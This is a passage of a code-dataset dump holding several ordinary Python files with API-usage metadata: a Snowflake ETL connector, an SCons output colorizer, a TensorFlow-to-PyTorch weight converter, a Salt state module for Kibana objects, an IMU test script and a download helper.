"usage_type": "call"}, {"api_name": "torch.cuda.device", "line_number": 872, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 872, "usage_type": "attribute"}, {"api_name": "torch.cuda.empty_cache", "line_number": 873, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 873, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 719, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 878, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 878, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 878, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 885, "usage_type": "attribute"}, {"api_name": "torch.clamp", "line_number": 888, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 889, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 891, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 896, "usage_type": "call"}, {"api_name": "scipy.special.logit", "line_number": 897, "usage_type": "call"}, {"api_name": "netcal.dimensions", "line_number": 877, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 900, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 900, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 900, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 907, "usage_type": "attribute"}, {"api_name": "torch.clamp", "line_number": 908, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 909, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 913, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 914, "usage_type": "call"}, {"api_name": "netcal.dimensions", "line_number": 899, "usage_type": "call"}, {"api_name": "numpy.infty", "line_number": 924, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 916, "usage_type": "name"}]}
{"seq_id": "12170355543", "text": "\n\nimport pandas as pd \n# import snowflake.connector\n\nfrom snowflake.sqlalchemy import URL\nfrom sqlalchemy import create_engine\nfrom cryptography.fernet import Fernet\n\n\nfrom ml_processor.configuration import config\nimport time\nimport os\nimport json\n\n\n\nclass snowflake_processor:\n\n    \"\"\"\n\n    Performing ETL tasks such as connecting to snowflake and retrieving data from snowflake.\n    \n    Parameters\n    ----------\n\n    credentials : dick (default=None) \n        Dictionary with connection credentials e.g\n        >>> {'username':'myUserName', 'password':'******', 'account':'snowfalkeAccount', 'warehouse':'warehouseName', 'database':'dataName'}\n        \n    credential_path : string  (default=None) \n        Path to credentials stored in an enrypted file. This should only be provided if credentials have not been provided. \n        The contents of the file should be a dictionary encrypted using Fernet.\n\n    key_path : string (default=None)  \n        Path to Fernet key for decrypting the file provided using the credential_path..\n        \n    \"\"\"\n\n    def __init__(self, \n        credentials = None, \n        credential_path = None,\n        key_path = None,\n        ):\n        \n        if credentials:\n            self.credentials = credentials\n        else:\n            if not credential_path:\n                credential_path = os.path.join(os.environ[\"HOME\"], 'Desktop/package_dev/credentials/encrypted_credentials.csv')\n\n            if not key_path:\n                key_path = os.path.join(os.environ[\"HOME\"], 'Desktop/package_dev/credentials/sf_key.key')\n\n            with open(key_path, 'rb') as keyfile:\n                key = keyfile.read()\n            \n            with open(credential_path, 'rb') as credfile:\n                creds = credfile.read()\n\n            fernet = Fernet(key)\n\n            creds = fernet.decrypt(creds).decode()\n\n            self.credentials = json.loads(creds)\n\n        self.logger = config.get_logger()\n\n    def connect(self):\n        \n        \"\"\"\n        \n        Create connection to snowflake.\n\n        Parameters\n        ----------\n\n        None\n        \n        Returns\n        -------\n            \n        object\n            connection to snowflake.\n\n        \"\"\"\n##### connection using sqlalchemy\n        try:\n            engine = create_engine(\n                URL(\n                    account = self.credentials.get('account'),\n                    user = self.credentials.get('username'),\n                    password = self.credentials.get('password'),\n                    database = self.credentials.get('database'),\n                    warehouse = self.credentials.get('warehouse'),\n                    schema = self.credentials.get('schema'),\n                )\n            )\n            self.logger.info(f'Connection to {self.credentials.get(\"account\")} successful')\n        except:\n            self.logger.error('Exception occured', exc_info=True)\n        else:\n            return engine\n\n##### connection using snowflake.connector\n        # try:\n        #     engine = snowflake.connector.connect(\n        #         user = self.credentials.get('username'),\n        #         password = self.credentials.get('password'),\n        #         account = self.credentials.get('account'),\n        #         database = self.credentials.get('database'),\n        #         warehouse = self.credentials.get('warehouse'),\n        #         )\n\n        #     self.logger.info(f'Connection to {self.credentials.get(\"account\")} successful')\n        # except:\n        #     self.logger.error('Exception occured', exc_info=True)\n        # else:\n        #     return engine\n\n        \n    def pandas_from_sql(self, sql, conn=None, chunksize=None):\n        \n        \"\"\"\n\n        Extracting data from snowflake into pandas dataframe.\n        \n        Parameters\n        ----------\n\n        sql : string \n            Sql statememt for extracting data\n            \n        conn : object (default=None) \n            Connection engine to snowflake.\n            \n        chunksize : int (default=None)\n            Number of rows to extract from snowflake per iteration if extracting in chunks.\n        \n        \n        Returns\n        -------\n\n        Pandas.DataFrame\n            Data extracted fro snowflake.\n\n        \"\"\"\n        \n        if not conn:\n            conn = self.connect()\n            \n        start = int(time.time())\n            \n        if not chunksize:\n            \n            df = pd.read_sql_query(sql, conn)\n        else:\n            \n            df = pd.DataFrame()\n            \n            rows = 0\n            \n            for chunk in pd.read_sql_query(sql, conn, chunksize=chunksize):\n                \n                df = pd.concat([df, chunk])\n                \n                rows += chunk.shape[0]\n                \n        end = int(time.time())\n        \n        self.logger.info(f'Number of rows extracted: {df.shape[0]}')\n        \n        self.logger.info(f'Runtime for data extraction : {int(end-start)} seconds')\n        \n        return pd.DataFrame(df)", "repo_name": "G-Geofrey/package_dev", "sub_path": "ml/src/ml_processor/etl_processor.py", "file_name": "etl_processor.py", "file_ext": "py", "file_size_in_byte": 5017, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 61, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 65, "usage_type": "call"}, {"api_name": "ml_processor.configuration.config.get_logger", "line_number": 67, "usage_type": "call"}, {"api_name": "ml_processor.configuration.config", "line_number": 67, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 89, "usage_type": "call"}, {"api_name": "snowflake.sqlalchemy.URL", "line_number": 90, "usage_type": "call"}, {"api_name": "time.time", "line_number": 152, "usage_type": "call"}, {"api_name": "pandas.read_sql_query", "line_number": 156, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 159, "usage_type": "call"}, {"api_name": "pandas.read_sql_query", "line_number": 163, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 165, "usage_type": "call"}, {"api_name": "time.time", "line_number": 169, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 175, "usage_type": "call"}]}
{"seq_id": "33626311925", "text": "\"\"\"\r\nConsole output colorizer. pyreadline required( on windows )\r\n\"\"\"\r\n__author__ = \"Jussi Toivola\"\r\n__license__ = \"MIT License\"\r\n\r\nfrom SCons.Platform import win32, posix\r\nimport os\r\nimport subprocess as sp\r\nimport sys\r\n\r\n\r\n#: Pyreadline console\r\nCONSOLE = None\r\ntry:\r\n    if os.name == \"nt\":\r\n        import pyreadline\r\n        CONSOLE = pyreadline.GetOutputFile()\r\nexcept ImportError: #IGNORE:W0704\r\n    pass\r\n\r\n#: Color constants. TODO: Get from user settings.\r\nclass Colors( object ):\r\n    WARNING = 14\r\n    ERROR = 12\r\n    NORMAL = 7\r\n    COMMENT = 10\r\n    \r\nif sys.platform == \"linux2\":\r\n    Colors.WARNING = 33\r\n    Colors.ERROR = 31\r\n    Colors.NORMAL = 0\r\n    Colors.COMMENT = 32\r\n    \r\n#: Get initial color of the console\r\nif CONSOLE is not None:\r\n    Colors.NORMAL = CONSOLE.attr\r\n\r\n\r\n#: Lines containing these strings are drawn in Colors.ERROR color\r\nKEYWORD_ERRORS = [ __x.lower() for __x in [ \"error:\", \" error \", \"failed\", \" undefined \", \"does not match\", \"illegal\",\r\n               \"was expected\", \"The process cannot access\",\r\n               \"No such file or directory\", \"*** \", \"cannot be opened\",\r\n               \"Cannot convert\", \"needed by\", \"explicit dependency\" ] ]\r\nKEYWORD_ERRORS.sort()\r\n\r\n#: Excluded errors\r\nKEYWORD_ERRORS_EXCLUDE = [ \"error.c\", \"error.cpp\", \"error.h\"  ]\r\n\r\n#: Drawn with Colors.COMMENT\r\nKEYWORD_COMMENT = [ __x.lower() for __x in [ \"scons:\", \"note:\", \"copy(\", \"install file\"] ]\r\n\r\n#: Excluded comments\r\nKEYWORD_COMMENT_EXCLUDE = []\r\n\r\n#: Warning keywords. Drawn with Colors.WARNING\r\nKEYWORD_WARNINGS = [\"warning \", \"warning:\"]\r\n\r\n#: Excluded warnings\r\nKEYWORD_WARNINGS_EXCLUDE = [\"-warning\"]\r\n\r\n#: Map colors to keywords.\r\nKEYWORDMAP = [ ( KEYWORD_WARNINGS, KEYWORD_WARNINGS_EXCLUDE, Colors.WARNING ),\r\n               ( KEYWORD_ERRORS, KEYWORD_ERRORS_EXCLUDE, Colors.ERROR ),\r\n               ( KEYWORD_COMMENT, KEYWORD_COMMENT_EXCLUDE, Colors.COMMENT ) ]\r\n\r\nclass LineCounts( object ):\r\n    def __init__( self ):\r\n        self.Errors = 0\r\n        self.Warnings = 0\r\n        self.Others = 0\r\n        self.reset()\r\n\r\n    def reset( self ):\r\n        self.Errors = 0\r\n        self.Warnings = 0\r\n        self.Others = 0\r\n\r\nLINECOUNTS = LineCounts()\r\n\r\n#: Original sys.stdout\r\nsavedstdout = sys.stdout\r\nsavedstderr = sys.stderr\r\n\r\ndef subsitute_env_vars( line, env ):\r\n    \"\"\" Substitutes environment variables in the command line.\r\n    \r\n    E.g. dir %EPOCROOT% -> dir T:\\\r\n    \r\n    The command line does not seem to do this automatically when launched\r\n    via subprocess.\r\n    \"\"\"\r\n    for key, value in env.items():\r\n        line = line.replace( \"%%%s%%\" % key, value )\r\n    return line\r\n    \r\ndef _handle_posix_write(line,color):\r\n    msg = \"%02i\" % color\r\n    savedstdout.write( \"\\x1b[%sm\" % ( msg ) )\r\n    savedstdout.write( line )\r\n    \r\n    # Reset\r\n    msg = \"%02i\" % 0\r\n    savedstdout.write( \"\\x1b[%sm\" % ( msg ) )\r\n\r\ndef write( line, color ):\r\n    \"\"\"Write line with color\"\"\"\r\n    global CONSOLE\r\n\r\n    if os.name == \"posix\" and sys.__stdout__.isatty():        \r\n        return _handle_posix_write( line, color )  \r\n    \r\n    elif CONSOLE is not None:\r\n        try:\r\n            CONSOLE.write_color( line, color )\r\n            CONSOLE.write_color( \"\", CONSOLE.attr )\r\n            return\r\n        \r\n        except TypeError:\r\n            # Occurs at least when redirecting data to a file\r\n            # So disable the color support\r\n            CONSOLE = None\r\n    \r\n    if color in [ Colors.ERROR, Colors.WARNING ]:\r\n        savedstderr.write( line )\r\n    else:\r\n        savedstdout.write( line )\r\n        \r\ndef comment( line ):\r\n    \"Util for comments\"\r\n    write( line + \"\\n\", Colors.COMMENT )\r\n    \r\ndef error( line ):\r\n    \"Util for errors\"\r\n    write( line, Colors.ERROR )\r\n\r\n\r\nclass ConsoleBase( object ):\r\n    \"\"\"Base class for colored console output\"\"\"\r\n    \r\n    def __init__( self ):\r\n        self.savedstdout = sys.stdout\r\n        self.savedstderr = sys.stderr\r\n        \r\n    def flush( self ):\r\n        self.savedstderr.flush()\r\n        self.savedstdout.flush()\r\n\r\n    def read( self ):\r\n        \"\"\"Read both stdout and stderr and output the data with colors\"\"\"\r\n        block = None\r\n        result = \"\"\r\n                \r\n        while block != \"\":\r\n            block = self.savedstdout.read()\r\n            self.write( block )\r\n            result += block\r\n\r\n            block = self.savedstderr.read()\r\n            self.write( block )\r\n            result += block\r\n        \r\n        return result\r\n\r\n    def write( self, text ):\r\n        \"\"\"Colorize each line based on the keywords\"\"\"\r\n        \r\n        lines = text.split( \"\\n\" )\r\n        \r\n        for i in xrange( len( lines ) ):\r\n            \r\n            line = lines[i]\r\n            lowcase = line.lower()\r\n\r\n            detected = False\r\n            for kws, excludes, color in KEYWORDMAP:\r\n                # Check keywords and exclusion keywords\r\n                if  len( [x for x in kws if x in lowcase] ) > 0 \\\r\n                and len( [x for x in excludes if x in lowcase] ) == 0:\r\n                    write( line, color )\r\n                    detected = True\r\n                    break\r\n\r\n            # Draw in normal color then\r\n            if not detected:\r\n                write( line, Colors.NORMAL )\r\n\r\n            if i < ( len( lines ) - 1 ):\r\n                write( \"\\n\", Colors.NORMAL )\r\nclass OutputConsole( ConsoleBase ):\r\n    \"\"\"Handles spawning external processes and colors the console output.\r\n    \"\"\"\r\n    def __init__( self ):\r\n        ConsoleBase.__init__( self )\r\n\r\n        self.savedspawn = os.spawnve\r\n        \r\n        sys.stdout = self\r\n        sys.stderr = self\r\n        \r\n        win32.spawn = self.spawn\r\n        posix.spawnvpe_spawn = self.spawn\r\n        \r\n    def spawn( self, sh, escape, cmd, args, env ): #IGNORE:W0613\r\n        \"\"\"\r\n        Replaces SCons.Platform.spawn to colorize output of\r\n        external processes\r\n        \"\"\"\r\n        #import pdb;pdb.set_trace()\r\n        #.replace( '\"', '' )\r\n        #FIXME: the \" must be removed but not those with \\ before them.\r\n        tmp = []\r\n        for x in args:\r\n            x = x.replace(r'\\\"', '\\???') # lets hope nobody wants to use \\???\r\n            x = x.replace(r'\"', '')\r\n            x = x.replace(r'\\???', '\"')\r\n            tmp.append( subsitute_env_vars( x, env ) )\r\n        args = tmp\r\n\r\n        startupinfo = None\r\n        if os.name == \"nt\":\r\n            # Long command support <= 32766 for Windows\r\n            startupinfo = sp.STARTUPINFO()\r\n            startupinfo.dwFlags |= sp.STARTF_USESHOWWINDOW\r\n        \r\n        stdout = sp.PIPE\r\n        #import pdb;pdb.set_trace()\r\n        if ( os.name == \"posix\" and args[0] == \"wine\" ):\r\n            stdout = None\r\n            \r\n        # We get unicode objects in the environment from somewhere, which makes\r\n        # Popen unhappy. Force the environment to strings.\r\n        # TODO(mika.raento): fix the source of the unicode.\r\n        env = dict([ (k, str(v)) for (k, v) in env.iteritems() ])\r\n\r\n        p = sp.Popen( args, bufsize = 1024,\r\n                    stdout = stdout, stderr = sp.STDOUT,\r\n                    startupinfo = startupinfo,\r\n                    shell = False, env = env )\r\n        result = None\r\n        #import pdb;pdb.set_trace()\r\n        if p.stdout is not None:\r\n            while result is None:\r\n                # This is slow on Linux with Wine!!\r\n                line = p.stdout.read()\r\n                self.write( line )\r\n                result = p.poll()\r\n            # Get the last lines            \r\n            line = p.stdout.readline()\r\n            self.write( line )\r\n            \r\n        else:\r\n            result = p.wait()\r\n            \r\n        return result\r\n        \r\ndel __x\r\n", "repo_name": "Tallefer/scons-for-symbian", "sub_path": "colorizer.py", "file_name": "colorizer.py", "file_ext": "py", "file_size_in_byte": 7700, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.name", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pyreadline.GetOutputFile", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 82, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.name", "line_number": 110, "usage_type": "attribute"}, {"api_name": "sys.__stdout__.isatty", "line_number": 110, "usage_type": "call"}, {"api_name": "sys.__stdout__", "line_number": 110, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 142, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 143, "usage_type": "attribute"}, {"api_name": "os.spawnve", "line_number": 196, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 198, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 199, "usage_type": "attribute"}, {"api_name": "SCons.Platform.win32.spawn", "line_number": 201, "usage_type": "attribute"}, {"api_name": "SCons.Platform.win32", "line_number": 201, "usage_type": "name"}, {"api_name": "SCons.Platform.posix.spawnvpe_spawn", "line_number": 202, "usage_type": "attribute"}, {"api_name": "SCons.Platform.posix", "line_number": 202, "usage_type": "name"}, {"api_name": "os.name", "line_number": 221, "usage_type": "attribute"}, {"api_name": "subprocess.STARTUPINFO", "line_number": 223, "usage_type": "call"}, {"api_name": "subprocess.STARTF_USESHOWWINDOW", "line_number": 224, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 226, "usage_type": "attribute"}, {"api_name": "os.name", "line_number": 228, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 236, "usage_type": "call"}, {"api_name": "subprocess.STDOUT", "line_number": 237, "usage_type": "attribute"}]}
{"seq_id": "34277714260", "text": "import torch\nimport sys\n\nfrom vision.nn.mobilenet import MobileNetV1\nfrom extract_tf_weights import read_weights\n\n\ndef fill_weights_torch_model(weights, state_dict):\n    for name in state_dict:\n        if name == 'classifier.weight':\n            weight = weights['MobilenetV1/Logits/Conv2d_1c_1x1/weights']\n            weight = torch.tensor(weight, dtype=torch.float32).permute(3, 2, 0, 1)\n            assert state_dict[name].size() == weight.size()\n            state_dict[name] = weight\n        elif name == 'classifier.bias':\n            bias = weights['MobilenetV1/Logits/Conv2d_1c_1x1/biases']\n            bias = torch.tensor(bias, dtype=torch.float32)\n            assert state_dict[name].size() == bias.size()\n            state_dict[name] = bias\n        elif name.endswith('BatchNorm.weight'):\n            key = name.replace(\"features\", \"MobilenetV1\").replace(\".\", \"/\").replace('BatchNorm/weight', 'BatchNorm/gamma')\n            weight = torch.tensor(weights[key], dtype=torch.float32)\n            assert weight.size() == state_dict[name].size()\n            state_dict[name] = weight\n        elif name.endswith('BatchNorm.bias'):\n            key = name.replace(\"features\", \"MobilenetV1\").replace(\".\", \"/\").replace('BatchNorm/bias', 'BatchNorm/beta')\n            bias = torch.tensor(weights[key], dtype=torch.float32)\n            assert bias.size() == state_dict[name].size()\n            state_dict[name] = bias\n        elif name.endswith('running_mean'):\n            key = name.replace(\"features\", \"MobilenetV1\").replace(\".\", \"/\").replace('running_mean', 'moving_mean')\n            running_mean = torch.tensor(weights[key], dtype=torch.float32)\n            assert running_mean.size() == state_dict[name].size()\n            state_dict[name] = running_mean\n        elif name.endswith('running_var'):\n            key = name.replace(\"features\", \"MobilenetV1\").replace(\".\", \"/\").replace('running_var', 'moving_variance')\n            running_var = torch.tensor(weights[key], dtype=torch.float32)\n            assert running_var.size() == state_dict[name].size()\n            state_dict[name] = running_var\n        elif name.endswith('depthwise.weight'):\n            key = name.replace(\"features\", \"MobilenetV1\").replace(\".\", \"/\")\n            key = key.replace('depthwise/weight', 'depthwise/depthwise_weights')\n            weight = torch.tensor(weights[key], dtype=torch.float32).permute(2, 3, 0, 1)\n            assert weight.size() == state_dict[name].size()\n            state_dict[name] = weight\n        else:\n            key = name.replace(\"features\", \"MobilenetV1\").replace(\".\", \"/\").replace('weight', 'weights')\n            weight = torch.tensor(weights[key], dtype=torch.float32).permute(3, 2, 0, 1)\n            assert weight.size() == state_dict[name].size()\n            state_dict[name] = weight\n\n\nif __name__ == '__main__':\n    if len(sys.argv) < 3:\n        print(\"Usage: python translate_tf_modelnetv1.py  \")\n    tf_model = sys.argv[1]\n    torch_weights_path = sys.argv[2]\n    print(\"Extract weights from tf model.\")\n    weights = read_weights(tf_model)\n\n    net = MobileNetV1(1001)\n    states = net.state_dict()\n    print(\"Translate tf weights.\")\n    fill_weights_torch_model(weights, states)\n    torch.save(states, torch_weights_path)", "repo_name": "qfgaohao/pytorch-ssd", "sub_path": "translate_tf_mobilenetv1.py", "file_name": "translate_tf_mobilenetv1.py", "file_ext": "py", "file_size_in_byte": 3277, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1349, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.tensor", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 54, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 56, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 57, "usage_type": "attribute"}, {"api_name": "extract_tf_weights.read_weights", "line_number": 59, "usage_type": "call"}, {"api_name": "vision.nn.mobilenet.MobileNetV1", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 65, "usage_type": "call"}]}
{"seq_id": "7841438067", "text": "# -*- coding: utf-8 -*-\n'''\nManage Kibana objects.\n\n.. code-block:: yaml\n\n    kibana:\n      kibana_url: 'https://es.host.com:9200'\n      kibana_index: '.kibana'\n\n.. code-block:: yaml\n\n    Ensure minimum dashboard is managed:\n      kibana_objects.present:\n        - name: 'Logs'\n        - kibana_content: \n        - kibana_type: 'dashboard'\n\n'''\n\n# Import Python libs\nimport requests\n\n# Import Salt libs\nfrom salt.utils.dictdiffer import DictDiffer\n\n\ndef __virtual__():\n    '''Always load the module.'''\n    return True\n\n\ndef present(name, kibana_content=None, kibana_type=None):\n    '''\n    Ensure the Kibana object exists in the database.\n\n    name\n        Name of the object\n\n    kibana_content\n        Content in JSON\n\n    kibana_type\n        String\n    '''\n    ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}\n\n    if not kibana_content:\n        ret['result'] = False\n        ret['comment'] = 'Content is not set'\n        return ret\n\n    url, index = _get_parameters(name, kibana_type)\n    if not url:\n        ret['result'] = False\n        ret['comment'] = index\n        return ret\n\n    try:\n        headers = {'Content-type': 'application/json'}\n        response = requests.put(url, headers=headers, json=kibana_content)\n    except requests.exceptions.RequestException as exc:\n        ret['result'] = False\n        ret['comment'] = (\"Failed to create Kibana object {0}\\n\"\n                          \"Got exception: {1}\").format(name, exc)\n    else:\n        if response.ok:\n            ret['comment'] = 'Kibana object {0} has been created'.format(name)\n            ret['changes']['new'] = 'Kibana objects created'\n        else:\n            ret['result'] = False\n            ret['comment'] = (\"Failed to post Kibana object {0}\\n\"\n                              \"Response: {1}\").format(name, response)\n\n    return ret\n\n\ndef absent(name, kibana_type=None):\n    '''\n    Ensure the Kibana object is not present in the database.\n\n    name\n        Name of the object\n\n    kibana_type\n        String\n    '''\n    ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}\n\n    url, index = _get_parameters(name, kibana_type)\n    if not url:\n        ret['result'] = False\n        ret['comment'] = index\n        return ret\n\n    try:\n        response = requests.delete(url)\n    except requests.exceptions.RequestException as exc:\n        ret['result'] = False\n        ret['comment'] = (\"Failed to delete Kibana object {0}\\n\"\n                          \"Got exception: {1}\").format(name, exc)\n    else:\n        if response.ok:\n            ret['comment'] = \"Kibana object {0} has been deleted\".format(name)\n        elif response.status_code == 404:\n            ret['comment'] = \"Kibana object {0} was not present\".format(name)\n        else:\n            ret['result'] = False\n            ret['comment'] = (\"Failed to delete Kibana object {0}\\n\"\n                              \"Response: {1}\").format(name, response)\n\n    return ret\n\n\ndef _get_parameters(name, kibana_type):\n    '''\n    Retrieve parameters from profile.\n    '''\n\n    if not kibana_type:\n        return False, 'Type is not set'\n\n    profile = __salt__['config.option']('kibana')\n\n    url = profile.get('kibana_url')\n    if not url:\n        return False, 'Cannot get URL needed by Kibana client'\n\n    index = profile.get('kibana_index')\n    if not index:\n        return False, 'Cannot get the index needed by Kibana client'\n\n    url = \"http://{0}/{1}/{2}/{3}\".format(url, index, kibana_type, name)\n    return url, index\n", "repo_name": "salt-formulas/salt-formula-kibana", "sub_path": "_states/kibana_object.py", "file_name": "kibana_object.py", "file_ext": "py", "file_size_in_byte": 3508, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.put", "line_number": 61, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 62, "usage_type": "attribute"}, {"api_name": "requests.delete", "line_number": 97, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 98, "usage_type": "attribute"}]}
{"seq_id": "25304998588", "text": "#!/usr/bin/env python3\nimport os\nimport sys\nsys.path.append(\"../\")\nimport utils\nimport imu\nimport time\nfrom math import sqrt\nimport threading\n\n\nstop_thread = threading.Event()\nacc_data = []\nimu_thread = threading.Thread(target=imu.imu_thread_func,args=(acc_data,stop_thread,))\nimu_thread.start()\n\ntry:\n    while True:\n        time.sleep(0.075)\n        if len(acc_data) > 0:\n            os.system(\"clear\")\n            try:\n                ax = round(acc_data[-1][0],3)\n                ay = round(acc_data[-1][1],3)\n                az = round(acc_data[-1][2],3)\n            except:\n                utils.brint(\"Missed data point\",color=\"BOLD_RED\")\n            print(ax,ay,az)\n\n\nexcept KeyboardInterrupt:\n    imu.write_to_file(acc_data)\n    stop_thread.set()\n\n\n\n\n\n", "repo_name": "nmarks99/aero-capstone", "sub_path": "dronekit/imu_test.py", "file_name": "imu_test.py", "file_ext": "py", "file_size_in_byte": 761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "threading.Event", "line_number": 12, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 14, "usage_type": "call"}, {"api_name": "imu.imu_thread_func", "line_number": 14, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 19, "usage_type": "call"}, {"api_name": "os.system", "line_number": 21, "usage_type": "call"}, {"api_name": "utils.brint", "line_number": 27, "usage_type": "call"}, {"api_name": "imu.write_to_file", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "38798649396", "text": "\"\"\"Dataset utilities.\"\"\"\n\nfrom typing import Union\n\nimport hashlib\nimport urllib.request\n\nfrom tqdm import tqdm\n\n\ndef download_file(url: str, destination: str, progress_bar: bool = True, md5sum: Union[str, None] = None) -> None:\n    \"\"\"Download a file.\n\n    Parameters\n    ----------\n    url: str\n      File URL.\n    destination: str\n      Path to save the file.\n    progress_bar: bool = True\n      Show progress bar if True.\n    md5sum: Union[str, None] = None\n      md5sum hash of the file.\n\n    Returns\n    -------\n    None\n    \"\"\"\n    response = urllib.request.urlopen(url)\n    file_size = int(response.info()[\"Content-Length\"])\n\n    def __show_progress(block_num: int, block_size: int, total_size: int) -> None:\n        downloaded = block_num * block_size\n        if total_size > 0:\n            progress_bar.update(downloaded - progress_bar.n)\n\n    with tqdm(total=file_size, unit='B', unit_scale=True, desc=destination, ncols=100) as progress_bar:\n        urllib.request.urlretrieve(url, destination, __show_progress)\n\n    if md5sum is not None:\n        md5_hash = hashlib.md5()\n        with open(destination, 'rb') as f:\n            for chunk in iter(lambda: f.read(4096), b''):\n                md5_hash.update(chunk)\n        md5sum_test = md5_hash.hexdigest()\n        if md5sum != md5sum_test:\n            raise ValueError(f'md5sum mismatch. \\nExpected: {md5sum}\\nActual: {md5sum_test}')\n", "repo_name": "KamitaniLab/bdpy", "sub_path": "bdpy/dataset/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1396, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 30, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Union", "line_number": 11, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 29, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 29, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 29, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 37, "usage_type": "call"}, {"api_name": "urllib.request.request.urlretrieve", "line_number": 38, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 38, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 38, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 41, "usage_type": "call"}]}
